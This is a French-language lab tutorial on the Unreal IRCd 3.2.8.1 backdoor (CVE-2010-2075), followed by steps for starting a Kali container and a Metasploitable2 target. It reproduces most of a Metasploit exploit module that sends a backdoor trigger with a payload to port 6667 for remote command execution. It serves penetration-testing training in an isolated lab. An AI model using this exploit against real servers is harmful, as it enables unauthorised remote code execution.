Comprendre la vulnérabilité Unreal IRCd et démarrer l'environnement d'expérience
La version 3.2.8.1 d'Unreal IRCd contient une vulnérabilité de porte dérobée (CVE-2010-2075) qui permet aux attaquants distants d'exécuter des codes arbitraires sur le système affecté. La vulnérabilité réside dans la macro DEBUG3_DOLOG_SYSTEM
, qui inclut un code malveillant externe pouvant être exploité par un attaquant.
Informations pertinentes :
Le module Metasploit pour exploiter cette vulnérabilité :
Voici un bref aperçu du module Metasploit :
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
#... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Maintenant, vous allez démarrer la machine d'attaque (conteneur Kali Linux) et la machine cible (machine virtuelle Metasploitable2) pour l'expérience.
- Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2
Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.
- Testez la connectivité à la machine cible en l'envoyant des paquets ICMP (ping) :
ping 192.168.122.102
Appuyez sur Ctrl+C
pour arrêter le ping.
- Lancez le conteneur Kali Linux et entrez dans l'environnement bash en exécutant :
docker run -ti --network host b5b709a49cd5 bash
- À l'intérieur du conteneur Kali, testez la connexion réseau à la machine cible :
ping 192.168.122.102
Appuyez sur Ctrl+C
pour arrêter le ping.
Maintenant, la machine d'attaque et la machine cible sont en cours d'exécution, et vous pouvez commencer le test de pénétration.
Remarque : Si vous quittez accidentellement le bash actuel, le conteneur Kali s'arrêtera automatiquement. Vous pouvez exécuter docker run -ti --network host b5b709a49cd5 bash
à nouveau sur l'hôte pour démarrer un nouveau conteneur Kali et entrer dans le bash pour continuer l'expérience.